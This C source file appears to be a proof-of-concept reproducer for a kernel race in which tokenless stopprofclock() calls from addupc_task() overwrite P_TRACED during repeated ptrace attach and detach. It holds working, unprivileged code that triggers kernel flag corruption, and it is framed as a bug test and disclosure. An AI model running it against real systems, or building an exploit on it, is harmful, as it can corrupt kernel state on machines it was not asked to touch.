/*
 * DF-2980 — tokenless stopprofclock() in addupc_task(): non-atomic
 * p->p_flags RMW race.
 *
 * Mechanism under test:
 *   - addupc_task() (sys/kern/subr_prof.c:145) calls stopprofclock(p)
 *     WITHOUT holding p->p_token, violating the documented contract
 *     (sys/kern/kern_clock.c:1303-1305 "caller must hold p->p_token").
 *     stopprofclock() does a non-atomic `p->p_flags &= ~P_PROFIL`
 *     (kern_clock.c:1310).
 *   - userret() (platform/pc64/x86_64/trap.c:225-232) calls addupc_task()
 *     on EVERY syscall exit of a P_PROFIL process, so a thread that keeps
 *     re-arming profil(2) with an unmapped sample buffer generates
 *     tokenless p_flags RMWs at syscall rate (MHz).
 *   - Meanwhile PT_ATTACH does `p->p_flags |= P_TRACED` WITH p_token held
 *     (sys/kern/sys_process.c:305). If the attach's store lands inside the
 *     tokenless clear's load-to-store gap, the stale store annihilates the
 *     P_TRACED set.
 *   - Detection (false-positive free): after a SUCCESSFUL PT_ATTACH and
 *     the resulting stop, PT_DETACH checks (p->p_flags & P_TRACED) == 0
 *     and returns EPERM (sys/kern/sys_process.c:268-271). P_TRACED can
 *     only be cleared by PT_DETACH/PT_KILL/exit (sys_process.c:353), none
 *     of which ran => the set was lost in the race.
 *
 * Victim side is 100% unprivileged (self-profiling + a parent of the same
 * uid using ptrace(2)).
 */
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/user.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <pthread.h>

/* sys/sys/proc.h (kernel-internal values, hardcoded for the PoC) */
#define KP_PROFIL	0x00020
#define KP_TRACED	0x00800

#define PROF_BASE   0x400000000000UL   /* unmapped user VA region */
#define PROF_SIZE   0x100000000UL      /* 4 GiB window  */
#define PROF_OFFSET 0
#define PROF_SCALE  0x10000            /* 1.0            */

static volatile int stop_now;

static void *
spinner(void *arg __unused)
{
	/* second thread: more profil() churn => p_flags cache line ping-pong */
	while (!stop_now)
		syscall(SYS_profil, (void *)PROF_BASE, PROF_SIZE,
		    PROF_OFFSET, PROF_SCALE);
	return (NULL);
}

static void
dump_kp_flags(const char *tag, pid_t pid)
{
	int mib[4];
	size_t len;
	struct kinfo_proc kp;

	mib[0] = CTL_KERN;
	mib[1] = KERN_PROC;
	mib[2] = KERN_PROC_PID;
	mib[3] = (int)pid;
	len = sizeof(kp);
	memset(&kp, 0, sizeof(kp));
	if (sysctl(mib, 4, &kp, &len, NULL, 0) == 0 && len > 0)
		printf("[%s] kp_stat = %d kp_flags = 0x%08x "
		    "(P_TRACED=0x%x P_WAITED=0x1000 P_PROFIL=0x%x)\n",
		    tag, kp.kp_stat, kp.kp_flags, KP_TRACED, KP_PROFIL);
	else
		printf("[%s] sysctl kinfo_proc failed: %s\n", tag,
		    strerror(errno));
}

int
main(int argc, char **argv)
{
	pid_t pid;
	pthread_t th;
	long cycles = 0, maxcycles = 200000;
	int last_detach_ok = 0;

	setvbuf(stdout, NULL, _IONBF, 0);
	if (argc > 1)
		maxcycles = atol(argv[1]);

	pid = fork();
	if (pid == 0) {
		/*
		 * Victim: every profil() call arms profiling (token-held
		 * `p->p_flags |= P_PROFIL`, kern_clock.c:1290), and every
		 * syscall exit runs userret()->addupc_task() whose copyin()
		 * on the unmapped base faults, producing the tokenless
		 * `p->p_flags &= ~P_PROFIL` (subr_prof.c:145 ->
		 * kern_clock.c:1310).
		 */
		pthread_create(&th, NULL, spinner, NULL);
		for (;;)
			syscall(SYS_profil, (void *)PROF_BASE, PROF_SIZE,
			    PROF_OFFSET, PROF_SCALE);
		_exit(0);
	}
	usleep(100000);		/* let the victim spin up */

	/*
	 * Tracer (same uid, unprivileged): hammer the token-held
	 * `p->p_flags |= P_TRACED` (PT_ATTACH) into that tokenless RMW
	 * stream, then verify the bit actually stuck via PT_DETACH.
	 *
	 * HIT1: PT_DETACH returns EPERM after a successful PT_ATTACH and
	 *       observed stop  => the |= P_TRACED set was annihilated by a
	 *       stale tokenless `p->p_flags &= ~P_PROFIL` store.
	 * HIT2: PT_ATTACH returns EBUSY right after a successful PT_DETACH
	 *       => the detach's `&= ~(P_TRACED|P_WAITED)` clear was
	 *       annihilated and P_TRACED survived (same race, other arm).
	 */
	for (;;) {
		int st, r, tries;

		tries = 0;
		errno = 0;
		while ((r = ptrace(PT_ATTACH, pid, NULL, 0)) < 0 &&
		    errno == EBUSY && tries++ < 3) {
			if (last_detach_ok) {
				printf("RACE HIT (arm 2) after %ld cycles: "
				    "PT_ATTACH EBUSY => PT_DETACH's P_TRACED "
				    "clear annihilated by tokenless "
				    "stopprofclock() RMW\n", cycles);
				dump_kp_flags("hit", pid);
				kill(pid, SIGKILL);
				waitpid(pid, &st, 0);
				return (0);
			}
			usleep(20000);
		}
		if (r < 0) {
			if (errno == ESRCH)
				break;		/* child gone */
			perror("PT_ATTACH");
			break;
		}
		if (waitpid(pid, &st, WUNTRACED) != pid) {
			perror("waitpid");
			break;
		}
		tries = 0;
		for (;;) {
			errno = 0;
			r = ptrace(PT_DETACH, pid, (caddr_t)1, 0);
			if (r == 0)
				break;
			if (errno == EPERM) {
				printf("RACE HIT after %ld attach/detach "
				    "cycles: PT_DETACH returned EPERM => "
				    "P_TRACED set annihilated by tokenless "
				    "stopprofclock() RMW\n", cycles);
				dump_kp_flags("hit", pid);
				kill(pid, SIGKILL);
				waitpid(pid, &st, 0);
				return (0);
			}
			if (errno != EBUSY || tries++ >= 25) {
				perror("PT_DETACH");
				dump_kp_flags("detach-ebusy", pid);
				kill(pid, SIGKILL);
				waitpid(pid, &st, 0);
				return (1);
			}
			/*
			 * Multi-threaded victim artifact: a straggler
			 * thread's tstop() re-clears P_WAITED after our
			 * waitpid consumed the stop.  That late tstop also
			 * posts another reportable stop event, so a WNOHANG
			 * waitpid re-consumes it and re-sets P_WAITED.
			 */
			usleep(2000);
			waitpid(pid, &st, WNOHANG | WUNTRACED);
		}
		last_detach_ok = 1;
		if (++cycles >= maxcycles) {
			printf("no hit in %ld cycles\n", cycles);
			kill(pid, SIGKILL);
			waitpid(pid, &st, 0);
			return (2);
		}
		if (cycles % 20000 == 0)
			printf("... %ld cycles, no hit yet\n", cycles);
	}
	return (1);
}
